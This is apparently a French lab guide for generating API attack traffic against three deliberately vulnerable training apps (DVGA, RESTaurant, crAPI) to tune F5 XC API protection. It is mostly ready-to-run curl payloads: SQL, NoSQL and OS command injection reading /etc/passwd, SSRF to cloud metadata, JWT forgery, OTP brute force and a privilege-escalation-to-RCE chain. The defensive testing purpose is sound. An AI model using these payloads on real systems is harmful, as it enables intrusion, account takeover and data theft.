- Accueil
- Serveur d'origine
- Guide de test des API
Guide de test des API
Vue d’ensemble
Section intitulée « Vue d’ensemble »Ce guide répertorie l’ensemble des points de terminaison API, des vulnérabilités intentionnelles et des charges utiles d’attaque des trois applications de test de sécurité des API. Utilisez-le pour construire des modèles de génération de trafic destinés au développement de profils de protection des API F5 XC.
| Application | Protocole | Chemin | Port | Auth | Vulnérabilités |
|---|---|---|---|---|---|
| DVGA | GraphQL | /dvga/ | 80 | Aucune (admin : admin/password) | 25 scénarios |
| RESTaurant | REST (FastAPI) | /restaurant/ | 80 | JWT (encodé en formulaire) | 7 catégories OWASP API 2023 |
| crAPI | REST (microservices) | / | 8888 | JWT (Bearer) | 18+ défis |
Variables d’environnement
Section intitulée « Variables d’environnement »ORIGIN="http://<ORIGIN_IP>"CRAPI="http://<ORIGIN_IP>:8888"DVGA (Damn Vulnerable GraphQL Application)
Section intitulée « DVGA (Damn Vulnerable GraphQL Application) »Point de terminaison GraphQL : POST ${ORIGIN}/dvga/graphql
IDE GraphiQL : GET ${ORIGIN}/dvga/
Identifiants administrateur : admin / password
Toutes les interactions DVGA utilisent un unique point de terminaison (/dvga/graphql) avec des requêtes POST contenant des charges utiles JSON {"query":"..."}.
Aperçu du schéma
Section intitulée « Aperçu du schéma »Queries: pastes, paste, me, systemHealth, systemUpdate, systemDiagnosticsMutations: createPaste, importPaste, uploadPasteTypes: PasteObject (id, title, content, public, owner, ipAddr, userAgent) OwnerObject (id, username, pastes) ← référence circulaireRéférence des points de terminaison
Section intitulée « Référence des points de terminaison »| Opération | Type | Auth | Objectif |
|---|---|---|---|
pastes(public, filter, limit) | Query | Non | Lister les pastes (injection SQL via filter) |
paste(id) | Query | Non | Récupérer un seul paste |
me(token) | Query | Non | Obtenir l’utilisateur par JWT (vulnérable à la falsification) |
systemHealth | Query | Non | Vérification de l’état de santé |
systemUpdate | Query | Non | Requête lente (~82 s, vecteur DoS) |
systemDiagnostics(cmd) | Query | admin/password | Exécuter des commandes OS autorisées |
createPaste(title, content, public) | Mutation | Non | Créer un paste (XSS via content) |
importPaste(host, port, path, scheme) | Mutation | Non | Importer un paste distant (SSRF, injection de commandes) |
uploadPaste(filename, content) | Mutation | Non | Téléverser un paste (traversée de chemin) |
Catalogue des vulnérabilités
Section intitulée « Catalogue des vulnérabilités »1. Déni de service (6 scénarios)
Section intitulée « 1. Déni de service (6 scénarios) »Attaque par requêtes groupées (Batch Query Attack) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '[{"query":"{systemUpdate}"},{"query":"{systemUpdate}"},{"query":"{systemUpdate}"}]'Récursion profonde (références circulaires Owner/Paste) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{owner{pastes{owner{pastes{owner{pastes{owner{pastes{title}}}}}}}}}}"}'Requête à forte consommation de ressources (~82 secondes de réponse) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemUpdate}"}'Duplication de champ (répéter un champ 500+ fois) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{title title title title title title title title title title title title title title title title title title title title}}"}'Attaque par alias (1000 opérations avec alias) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{q0:systemUpdate q1:systemUpdate q2:systemUpdate q3:systemUpdate q4:systemUpdate q5:systemUpdate q6:systemUpdate q7:systemUpdate q8:systemUpdate q9:systemUpdate}"}'2. Divulgation d’informations (5 scénarios)
Section intitulée « 2. Divulgation d’informations (5 scénarios) »Introspection (énumération complète du schéma) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{__schema{types{name fields{name args{name type{name}}}}}}"}'Suggestions de champs (une faute de frappe révèle les champs valides) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes{titl}}"}'SSRF via importPaste (sondage des services internes) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:57575,path:\"/\",scheme:\"http\"){result}}"}'3. Injection (4 scénarios)
Section intitulée « 3. Injection (4 scénarios) »Injection SQL via le paramètre filter :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{pastes(filter:\"aaa\\u0027 OR 1=1--\"){id title content public}}"}'XSS stocké via createPaste :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{createPaste(title:\"<img src=x onerror=alert(1)>\",content:\"xss\",public:true){paste{id title}}}"}'Injection dans les journaux (usurpation du nom d’opération) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation getPaste{createPaste(title:\"injected\",content:\"hidden mutation\",public:true){paste{id}}}"}'4. Exécution de code (3 scénarios)
Section intitulée « 4. Exécution de code (3 scénarios) »Injection de commandes OS via importPaste :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{importPaste(host:\"localhost\",port:80,path:\"/ ; uname -a\",scheme:\"http\"){result}}"}'Commande OS via systemDiagnostics (authentification administrateur requise) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{systemDiagnostics(cmd:\"id\")}"}'5. Contournement des autorisations (3 scénarios)
Section intitulée « 5. Contournement des autorisations (3 scénarios) »Falsification de jeton JWT (accepte les jetons non signés) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"{me(token:\"eyJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.\"){username}}"}'Écriture arbitraire de fichier via uploadPaste (traversée de chemin) :
curl -X POST ${ORIGIN}/dvga/graphql \ -H "Content-Type: application/json" \ -d '{"query":"mutation{uploadPaste(filename:\"../../../tmp/test.txt\",content:\"path traversal test\"){result}}"}'API RESTaurant (Damn Vulnerable RESTaurant)
Section intitulée « API RESTaurant (Damn Vulnerable RESTaurant) »Interface Swagger : ${ORIGIN}/restaurant/docs
Spécification OpenAPI : ${ORIGIN}/restaurant/openapi.json
Auth : JWT via POST encodé en formulaire vers /restaurant/token
Rôles : Client (par défaut), Employé, Chef (administrateur)
Configuration : Inscription et authentification
Section intitulée « Configuration : Inscription et authentification »# Créer un utilisateur de testcurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"attacker","password":"Attack123","first_name":"Test","last_name":"User","phone_number":"5551234567"}'
# Obtenir un jeton JWT (REMARQUE : encodé en formulaire, pas en JSON)TOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "username=attacker&password=Attack123" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
echo "Jeton Bearer : ${TOKEN}"Référence des points de terminaison
Section intitulée « Référence des points de terminaison »| Point de terminaison | Méthode | Auth | Rôle | Vulnérabilité |
|---|---|---|---|---|
/restaurant/register | POST | Non | — | Création d’utilisateur |
/restaurant/token | POST | Non | — | JWT avec secret faible (97952) |
/restaurant/healthcheck | GET | Non | — | Vérification de l’état de santé |
/restaurant/profile | GET | Oui | Tous | Profil utilisateur |
/restaurant/profile | PUT | Oui | Tous | BOLA (modifier d’autres utilisateurs) |
/restaurant/profile | PATCH | Oui | Tous | BOPLA (attribution de masse du rôle) |
/restaurant/users/update_role | PUT | Oui | Tous | BFLA (élévation de rôle) |
/restaurant/menu | GET | Oui | Tous | Lister les éléments du menu |
/restaurant/menu | PUT | Oui | Employé+ | Créer un menu (SSRF via image) |
/restaurant/menu/{item_id} | PUT | Oui | Employé+ | Mettre à jour le menu (SSRF via image) |
/restaurant/menu/{item_id} | DELETE | Oui | Tous | BFLA (n’importe quel utilisateur peut supprimer) |
/restaurant/orders | GET | Oui | Tous | BOLA (consulter toutes les commandes) |
/restaurant/orders | POST | Oui | Tous | Créer une commande |
/restaurant/orders/{order_id} | GET | Oui | Tous | BOLA (accéder aux commandes d’autres utilisateurs) |
/restaurant/orders/status/{order_id} | GET | Oui | Tous | État de la commande |
/restaurant/admin/stats/disk | GET | Oui | Chef | Injection de commandes |
/restaurant/reset-password | POST | Non | — | Demande de réinitialisation du mot de passe |
/restaurant/reset-password/new-password | POST | Non | — | Définir un nouveau mot de passe |
/restaurant/referral-code | GET | Oui | Tous | Obtenir le code de parrainage |
/restaurant/apply-referral | POST | Oui | Tous | Appliquer le parrainage |
/restaurant/discount-coupons | GET | Oui | Tous | Lister les coupons |
Catalogue des vulnérabilités
Section intitulée « Catalogue des vulnérabilités »API1:2023 — Broken Object Level Authorization (BOLA)
Section intitulée « API1:2023 — Broken Object Level Authorization (BOLA) »Modifier le profil d’un autre utilisateur :
curl -X PUT ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","phone_number":"hacked","first_name":"Pwned","last_name":"User"}'Accéder aux commandes d’autres utilisateurs (énumérer le décalage) :
for i in 1 2 3 4 5; do curl -sf ${ORIGIN}/restaurant/orders/${i} \ -H "Authorization: Bearer ${TOKEN}" 2>&1 echo ""doneAPI2:2023 — Authentification défaillante
Section intitulée « API2:2023 — Authentification défaillante »Force brute du secret JWT faible (le secret est à 6 chiffres : 97952) :
# Décoder et falsifier les jetons sur jwt.io# Secret : 97952 (peut être forcé avec hashcat -a 3 -m 16500 token '?d?d?d?d?d?d')
# Falsifier un jeton Chef :# En-tête : {"alg":"HS256","typ":"JWT"}# Charge utile : {"sub":"chef","exp":9999999999}# Signer avec le secret : 97952API3:2023 — Broken Object Property Level Authorization (BOPLA)
Section intitulée « API3:2023 — Broken Object Property Level Authorization (BOPLA) »Attribution de masse du rôle : passer de Client à Chef :
curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'Chemin d’escalade : Client → Employé → Chef :
# Étape 1 : Escalader vers Employécurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Employee"}'
# Étape 2 : Escalader vers Chefcurl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'API5:2023 — Broken Function Level Authorization (BFLA)
Section intitulée « API5:2023 — Broken Function Level Authorization (BFLA) »Supprimer un élément du menu en tant que Client (devrait nécessiter Employé+) :
curl -X DELETE ${ORIGIN}/restaurant/menu/1 \ -H "Authorization: Bearer ${TOKEN}"Modifier le rôle d’un autre utilisateur :
curl -X PUT ${ORIGIN}/restaurant/users/update_role \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"username":"chef","role":"Customer"}'API7:2023 — Server-Side Request Forgery (SSRF)
Section intitulée « API7:2023 — Server-Side Request Forgery (SSRF) »Sonder les points de terminaison internes via l’image_url du menu (nécessite le rôle Employé) :
# D'abord, escalader vers Employé via BOPLA, puis :curl -X PUT ${ORIGIN}/restaurant/menu \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"name":"SSRF Test","price":1.00,"category":"Test","image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}'API8:2023 — Injection
Section intitulée « API8:2023 — Injection »Injection de commandes OS via les statistiques de disque (nécessite le rôle Chef) :
# Après escalade vers Chef :curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;whoami" \ -H "Authorization: Bearer ${TOKEN}"
curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;cat%20/etc/passwd" \ -H "Authorization: Bearer ${TOKEN}"Chaîne d’attaque complète : de Client à Root
Section intitulée « Chaîne d’attaque complète : de Client à Root »# 1. Inscriptioncurl -X POST ${ORIGIN}/restaurant/register \ -H "Content-Type: application/json" \ -d '{"username":"hacker","password":"Hack123","first_name":"H","last_name":"X","phone_number":"0"}'
# 2. Obtenir le jetonTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 3. Escalader vers Chef (BOPLA)curl -X PATCH ${ORIGIN}/restaurant/profile \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"role":"Chef"}'
# 4. Se ré-authentifier pour obtenir un jeton de niveau ChefTOKEN=$(curl -sf -X POST ${ORIGIN}/restaurant/token \ -d "username=hacker&password=Hack123" | python3 -c "import sys,json;print(json.load(sys.stdin)['access_token'])")
# 5. Injection de commandes (RCE)curl -sf "${ORIGIN}/restaurant/admin/stats/disk?parameters=;id" \ -H "Authorization: Bearer ${TOKEN}"crAPI (OWASP Completely Ridiculous API)
Section intitulée « crAPI (OWASP Completely Ridiculous API) »Interface web : ${CRAPI}/
MailHog : ${CRAPI}/mailhog/ (capture d’e-mails pour la vérification)
Auth : Jeton JWT Bearer (RS256, vulnérable à la confusion d’algorithme)
Architecture : 7 microservices (identity, community, workshop, postgres, mongo, mailhog, web)
Configuration : Inscription, vérification de l’e-mail, connexion
Section intitulée « Configuration : Inscription, vérification de l’e-mail, connexion »# 1. Inscriptioncurl -X POST ${CRAPI}/identity/api/auth/signup \ -H "Content-Type: application/json" \ -d '{"name":"Test User","email":"tester@example.com","number":"5551234567","password":"TestPass123"}'
# 2. Vérifier MailHog pour l'e-mail de vérification# Accéder à ${CRAPI}/mailhog/ ou utiliser l'API MailHog :curl -sf ${CRAPI}/mailhog/api/v2/messages | python3 -c "import sys,jsonmsgs = json.load(sys.stdin)['items']for m in msgs: print(f\"À : {m['Raw']['To'][0]}, Objet : {m['Content']['Headers']['Subject'][0]}\")"
# 3. Se connecter et obtenir le jeton JWTTOKEN=$(curl -sf -X POST ${CRAPI}/identity/api/auth/login \ -H "Content-Type: application/json" \ -d '{"email":"tester@example.com","password":"TestPass123"}' | python3 -c "import sys,json;print(json.load(sys.stdin)['token'])")
echo "Jeton Bearer : ${TOKEN}"Référence des points de terminaison
Section intitulée « Référence des points de terminaison »Service d’identité
Section intitulée « Service d’identité »| Point de terminaison | Méthode | Auth | Vulnérabilité |
|---|---|---|---|
/identity/api/auth/signup | POST | Non | Inscription |
/identity/api/auth/login | POST | Non | Jeton JWT (confusion d’algorithme) |
/identity/api/auth/forget-password | POST | Non | Demande d’OTP |
/identity/api/auth/v2/check-otp | POST | Non | Pas de limite de débit (force brute d’un OTP à 4 chiffres) |
/identity/api/auth/v3/check-otp | POST | Non | Version avec limite de débit |
/identity/api/v2/user/dashboard | GET | Oui | Profil utilisateur |
/identity/api/v2/user/change-email | PUT | Oui | Changement d’e-mail |
/identity/api/v2/vehicle/vehicles | GET | Oui | Lister les véhicules (fuite d’UUID) |
/identity/api/v2/vehicle/{uuid}/location | GET | Oui | BOLA (véhicule de n’importe quel utilisateur) |
/identity/api/v2/user/videos | POST | Oui | Téléversement de vidéo |
/identity/api/v2/user/videos/{id} | GET | Oui | Exposition de données (conversion_params) |
/identity/api/v2/user/videos/{id} | PUT | Oui | Attribution de masse (injection de commandes) |
/identity/api/v2/admin/videos/{id} | DELETE | Oui | BFLA (pas de vérification administrateur) |
Service communautaire
Section intitulée « Service communautaire »| Point de terminaison | Méthode | Auth | Vulnérabilité |
|---|---|---|---|
/community/api/v2/community/posts | GET | Oui | Exposition de données (fuite de vehicle_id, email) |
/community/api/v2/community/posts | POST | Oui | Créer un article de blog |
/community/api/v2/community/posts/{id}/comments | POST | Oui | Ajouter un commentaire |
/community/api/v2/coupon/validate-coupon | POST | Oui | Injection NoSQL |
Service atelier
Section intitulée « Service atelier »| Point de terminaison | Méthode | Auth | Vulnérabilité |
|---|---|---|---|
/workshop/api/mechanic | GET | Oui | Exposition de données (e-mails des mécaniciens) |
/workshop/api/mechanic/mechanic_report | GET | Non | BOLA (pas d’auth, ID séquentiels) |
/workshop/api/merchant/contact_mechanic | POST | Oui | SSRF + DoS |
/workshop/api/shop/products | GET | Oui | Catalogue de produits |
/workshop/api/shop/orders/ | POST | Oui | Créer une commande |
/workshop/api/shop/orders/all | GET | Oui | Lister les commandes |
/workshop/api/shop/orders/{id} | GET | Non | BOLA (authentification non requise) |
/workshop/api/shop/orders/{id} | PUT | Oui | Attribution de masse (status, quantity) |
/workshop/api/shop/apply_coupon | POST | Oui | Injection SQL |
Catalogue des défis
Section intitulée « Catalogue des défis »Défi 1 — BOLA : Accéder à la localisation du véhicule d’un autre utilisateur
Section intitulée « Défi 1 — BOLA : Accéder à la localisation du véhicule d’un autre utilisateur »# Récupérer d'abord l'UUID de votre véhiculecurl -sf ${CRAPI}/identity/api/v2/vehicle/vehicles \ -H "Authorization: Bearer ${TOKEN}"
# Accéder au véhicule d'un autre utilisateur (remplacer l'UUID)curl -sf ${CRAPI}/identity/api/v2/vehicle/VICTIM-UUID-HERE/location \ -H "Authorization: Bearer ${TOKEN}"Défi 2 — BOLA : Accéder aux rapports de mécanicien (sans authentification)
Section intitulée « Défi 2 — BOLA : Accéder aux rapports de mécanicien (sans authentification) »# Énumération d'ID séquentiels — aucun jeton requisfor i in 1 2 3 4 5; do echo "Rapport $i :" curl -sf "${CRAPI}/workshop/api/mechanic/mechanic_report?report_id=${i}" echo ""doneDéfi 3 — Authentification défaillante : Force brute de l’OTP de réinitialisation du mot de passe
Section intitulée « Défi 3 — Authentification défaillante : Force brute de l’OTP de réinitialisation du mot de passe »# Demander l'OTP pour la victimecurl -X POST ${CRAPI}/identity/api/auth/forget-password \ -H "Content-Type: application/json" \ -d '{"email":"victim@example.com"}'
# Force brute de l'OTP à 4 chiffres (v2 n'a AUCUNE limite de débit)for otp in $(seq -w 0000 9999); do RESULT=$(curl -sf -X POST ${CRAPI}/identity/api/auth/v2/check-otp \ -H "Content-Type: application/json" \ -d "{\"email\":\"victim@example.com\",\"otp\":\"${otp}\"}" 2>&1) echo "$otp: $RESULT" | grep -v "Invalid OTP" && breakdoneDéfi 4 — Exposition de données : Fuite des e-mails des mécaniciens
Section intitulée « Défi 4 — Exposition de données : Fuite des e-mails des mécaniciens »curl -sf ${CRAPI}/workshop/api/mechanic \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.toolDéfi 5 — Exposition de données : Paramètres internes de conversion vidéo
Section intitulée « Défi 5 — Exposition de données : Paramètres internes de conversion vidéo »# Téléverser une vidéo, puis examiner la réponsecurl -sf ${CRAPI}/identity/api/v2/user/videos \ -H "Authorization: Bearer ${TOKEN}" | python3 -m json.tool# Rechercher le champ conversion_params dans la réponseDéfi 6 — DoS : Couche 7 via Contact Mechanic
Section intitulée « Défi 6 — DoS : Couche 7 via Contact Mechanic »curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"Engine issue", "vin":"VEHICLE_VIN", "mechanic_api":"http://localhost:8080/api", "repeat_request_if_failed":true, "number_of_repeats":100 }'Défi 7 — BFLA : Supprimer une vidéo via le point de terminaison administrateur
Section intitulée « Défi 7 — BFLA : Supprimer une vidéo via le point de terminaison administrateur »# Un utilisateur ordinaire peut accéder au point de terminaison administrateurcurl -X DELETE ${CRAPI}/identity/api/v2/admin/videos/VIDEO_ID_HERE \ -H "Authorization: Bearer ${TOKEN}"Défis 8 & 9 — Attribution de masse : Articles gratuits via manipulation de commande
Section intitulée « Défis 8 & 9 — Attribution de masse : Articles gratuits via manipulation de commande »# Remplacer GET par PUT, modifier le statut et la quantitécurl -X PUT ${CRAPI}/workshop/api/shop/orders/1 \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"status":"returned","quantity":100}'Défi 10 — Injection de commandes via les paramètres de conversion vidéo
Section intitulée « Défi 10 — Injection de commandes via les paramètres de conversion vidéo »curl -X PUT ${CRAPI}/identity/api/v2/user/videos/VIDEO_ID \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"conversion_params":"-v codec h264; cat /etc/passwd"}'Défi 11 — SSRF via Contact Mechanic
Section intitulée « Défi 11 — SSRF via Contact Mechanic »curl -X POST ${CRAPI}/workshop/api/merchant/contact_mechanic \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{ "mechanic_code":"MECH001", "problem_details":"test", "vin":"VIN123", "mechanic_api":"http://169.254.169.254/latest/meta-data/", "repeat_request_if_failed":false, "number_of_repeats":0 }'Défi 12 — Injection NoSQL : Extraire les codes de coupon
Section intitulée « Défi 12 — Injection NoSQL : Extraire les codes de coupon »curl -X POST ${CRAPI}/community/api/v2/coupon/validate-coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d '{"coupon_code":{"$ne":1}}'Défi 13 — Injection SQL : Utiliser les coupons plusieurs fois
Section intitulée « Défi 13 — Injection SQL : Utiliser les coupons plusieurs fois »curl -X POST ${CRAPI}/workshop/api/shop/apply_coupon \ -H "Authorization: Bearer ${TOKEN}" \ -H "Content-Type: application/json" \ -d "{\"coupon_code\":\"TRAC075' OR '1'='1\"}"Défi 14 — Accès aux commandes sans authentification
Section intitulée « Défi 14 — Accès aux commandes sans authentification »# Pas d'en-tête Authorization — retourne quand même des donnéesfor i in 1 2 3 4 5; do curl -sf ${CRAPI}/workshop/api/shop/orders/${i} echo ""doneDéfi 15 — Confusion d’algorithme JWT
Section intitulée « Défi 15 — Confusion d’algorithme JWT »# Falsifier un JWT avec l'algorithme "none" (pas de vérification de signature) :# 1. Définir l'en-tête : {"alg":"none","typ":"JWT"} et l'encoder en base64url# 2. Définir la charge utile : {"email":"admin@example.com","role":"admin"} et l'encoder en base64url# 3. Joindre avec des points, laisser la signature vide : <en-tête>.<charge utile>.HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')PAYLOAD=$(echo -n '{"email":"admin@example.com","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')FORGED="${HEADER}.${PAYLOAD}."
curl -sf ${CRAPI}/identity/api/v2/user/dashboard \ -H "Authorization: Bearer ${FORGED}"Référence croisée OWASP API Security Top 10
Section intitulée « Référence croisée OWASP API Security Top 10 »| Catégorie OWASP | DVGA | RESTaurant | crAPI |
|---|---|---|---|
| API1 : BOLA | — | PUT /profile, GET /orders/{id} | Localisation du véhicule, rapports de mécanicien, commandes |
| API2 : Authentification défaillante | Falsification JWT (requête me) | Secret JWT faible (97952) | Force brute OTP (v2), confusion d’algorithme JWT |
| API3 : BOPLA | — | PATCH /profile (escalade de rôle) | conversion_params vidéo, exposition des e-mails des mécaniciens |
| API4 : Consommation de ressources | DoS par lot, récursion, alias, duplication de champ | Énumération d’utilisateurs via la longueur de réponse | DoS contact_mechanic repeat_request |
| API5 : BFLA | — | DELETE /menu, PUT /users/update_role | DELETE /admin/videos par un utilisateur ordinaire |
| API6 : Attribution de masse | — | PUT /orders (status, quantity) | Status/quantity de commande, conversion_params vidéo |
| API7 : SSRF | Mutation importPaste | PUT /menu image_url | URL mechanic_api dans contact_mechanic |
| API8 : Injection | SQL (filter), XSS (content), cmd OS (importPaste, systemDiagnostics) | Cmd OS (/admin/stats/disk?parameters=) | NoSQL (validate-coupon), SQL (apply_coupon) |
| API9 : Actifs incorrects | — | — | /auth/v2/check-otp déprécié (pas de limite de débit) |
| API10 : Consommation non sécurisée | — | — | (indirect via SSRF) |
| Spécifique à GraphQL | Introspection, regroupement, récursion, alias, duplication de champ, fragments circulaires | — | — |
Modèles de génération de trafic
Section intitulée « Modèles de génération de trafic »Phase 1 : Référence (chemin nominal)
Section intitulée « Phase 1 : Référence (chemin nominal) »Générez du trafic légitime pour établir le comportement normal de l’API avant de tester les modèles d’attaque.
Référence DVGA :
# Requêtes normalescurl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"{pastes{id title}}"}'curl -X POST ${ORIGIN}/dvga/graphql -H "Content-Type: application/json" -d '{"query":"mutation{createPaste(title:\"note\",content:\"hello\",public:true){paste{id}}}"}'Référence RESTaurant :
curl -sf ${ORIGIN}/restaurant/menu -H "Authorization: Bearer ${TOKEN}"curl -sf ${ORIGIN}/restaurant/profile -H "Authorization: Bearer ${TOKEN}"curl -X POST ${ORIGIN}/restaurant/orders -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d '{"menu_item_id":1,"quantity":1}'Référence crAPI :
curl -sf ${CRAPI}/identity/api/v2/user/dashboard -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/workshop/api/shop/products -H "Authorization: Bearer ${TOKEN}"curl -sf ${CRAPI}/community/api/v2/community/posts -H "Authorization: Bearer ${TOKEN}"Phase 2 : Trafic d’attaque par catégorie OWASP
Section intitulée « Phase 2 : Trafic d’attaque par catégorie OWASP »Tests BOLA : Énumérer les ID séquentiels, échanger les identifiants d’utilisateurs dans les requêtes, accéder aux ressources sans en être propriétaire.
Tests d’injection : Charges utiles SQL dans les paramètres filter/coupon, injection de requêtes GraphQL, injection de commandes OS via les champs de paramètres.
Tests de contournement d’authentification : Falsifier des jetons JWT, effectuer une force brute sur les OTP, utiliser des versions d’API dépréciées, confusion d’algorithme.
Tests SSRF : URL internes dans les paramètres importPaste, image_url et mechanic_api.
Tests DoS : Attaques GraphQL par lot/récursion/alias, repeat_request_if_failed avec des compteurs élevés.
Phase 3 : Chaînes d’attaque avec état
Section intitulée « Phase 3 : Chaînes d’attaque avec état »Certaines attaques nécessitent des séquences multi-étapes avec maintien d’un état :
- Chaîne d’escalade RESTaurant : Inscription → Jeton → PATCH du rôle vers Chef → Ré-authentification → Injection de commandes
- Flux complet crAPI : Inscription → Vérification de l’e-mail (MailHog) → Connexion → Ajout d’un véhicule → Contact mécanicien (SSRF) → Manipulation de commande
- Reconnaissance vers exploitation DVGA : Introspection → Découverte de systemDiagnostics → Force brute des identifiants administrateur → Exécution de commandes OS
Recommandations de débit
Section intitulée « Recommandations de débit »| Modèle | Requêtes/sec | Durée | Remarques |
|---|---|---|---|
| Référence (par application) | 10-50 | 5 min | Établir l’empreinte de trafic normal |
| Énumération BOLA | 100-500 | 2 min | Analyse d’ID séquentiels |
| Force brute OTP | 1000+ | Jusqu’à trouvé | 10 000 tentatives max (4 chiffres) |
| DoS GraphQL | 10-50 | 30 sec | Chaque requête est coûteuse côté serveur |
| Fuzzing d’injection | 50-200 | 5 min | Varier les charges utiles par requête |
| Sondage SSRF | 5-20 | 2 min | Lent ; chaque requête déclenche une requête HTTP côté serveur |